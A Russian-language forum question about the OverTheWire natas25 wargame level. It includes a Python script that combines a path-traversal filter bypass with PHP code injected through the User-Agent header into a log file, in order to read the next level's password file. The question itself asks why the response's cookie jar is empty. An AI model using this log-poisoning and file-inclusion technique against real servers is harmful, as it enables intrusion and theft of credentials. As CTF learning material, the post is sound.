Я пытался победить CTF по вызову natas25 в natas.overthewire.org. Задача состоит в том, чтобы попытаться получить пароль для следующего уровня с помощью пользовательских заголовков, чтобы позволить стороне сервера php получить доступ к каталогу, в котором скрыт проход.
import requests,string
auth_user = 'natas25'
auth_pass = '<natas25pass>'
target = 'http://'+auth_user+':'+auth_pass+'@'+auth_user+'.natas.labs.overthewire.org/index.php'
hackpass = '.../...//'
cookies = dict()
r = requests.get(target)
print(r.cookies)
#Check connection
if r.status_code == requests.codes.ok:
print('Connection reachable')
else:
raise ValueError('Error')
cookies = dict(PHPSESSID = 'mysessid')
params = dict(lang = hackpass+'logs/natas25_'+cookies['PHPSESSID']+'.log')
user_agent = "<?php include '/etc/natas_webpass/natas26'; ?>"
headers = {'User-Agent': "<?php include '/etc/natas_webpass/natas26'; ?>"}
r = requests.post(target,cookies=cookies,params = params,headers=headers)
print(r.text)
print(r.cookies)
Данный скрипт python будет успешно работать соревнование. Но проблема в том, что я понятия не имею, почему выход второго print(r.cookies)
равен <RequestsCookieJar[]>
, пустой объект rathar, чем <RequestsCookieJar[<Cookie PHPSESSID=mysessid for natas25:<natas25pass>@natas25.natas.labs.overthewire.org/>]>
, который я сам установил выше.